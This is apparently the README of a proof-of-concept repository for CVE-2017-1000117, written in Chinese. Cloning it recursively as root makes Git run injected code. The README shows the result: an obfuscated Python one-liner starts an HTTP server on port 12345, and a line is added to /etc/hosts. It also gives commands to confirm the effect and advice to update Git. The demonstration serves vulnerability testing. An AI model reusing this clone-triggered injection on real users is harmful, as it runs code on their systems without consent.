这是一个利用CVE-2017-1000117漏洞的工具。
当使用root权限通过git命令加上--recurse选项克隆此仓库时,会自动在12345端口监听一个http服务器。
要停止http服务器,请查找进程号并kill掉。
CentOS7
macOS Sierra
Debian8
执行以下命令。完成后控制台会停止,请按Ctrl+C退出。
[root@localhost ~]$ git clone --recurse https://github.com/Shadow5523/CVE-2017-1000117-test.git
1.执行PS命令确认Python代码是否在运行。
[root@localhost ~]$ ps ax | grep http
21365 pts/0 S 0:00 python -c (lambda j: (lambda s, i: s.setsockopt(i.SOL_SOCKET, i.SO_REUSEADDR, 1) or s.bind((i.gethostname(), 12345)) or s.listen(10) or map(lambda y: y.send("HTTP/1.0 200 OK\r\nContent-Length: 20\r\nContent-Type: text/html\r\n\r\n<html><center>test</center></html>"), (s.accept()[0] for x in iter(int, 1))))(j.socket(j.AF_INET, j.SOCK_STREAM), j))(__import__("socket"))
21381 pts/0 S+ 0:00 grep --color=auto ht
2.使用netstat确认12345端口是否在监听。
[root@localhost ~]$ netstat -tanp | grep 12345
tcp 0 0 127.0.0.1:12345 0.0.0.0:* LISTEN 21365/python
在macOS上使用以下命令确认:
MAcbook:~ root# lsof -nP -iTCP -sTCP:LISTEN
COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME
Python 14231 root 3u IPv4 0xa3955f2183c66251 0t0 TCP 127.0.0.1:12345 (LISTEN)
3.确认/etc/hosts的最后一行是否添加了「127.0.0.1 主机名」。
将Git更新到最新版本。参考以下链接:
从GitHub远程仓库更新到最新Git的方法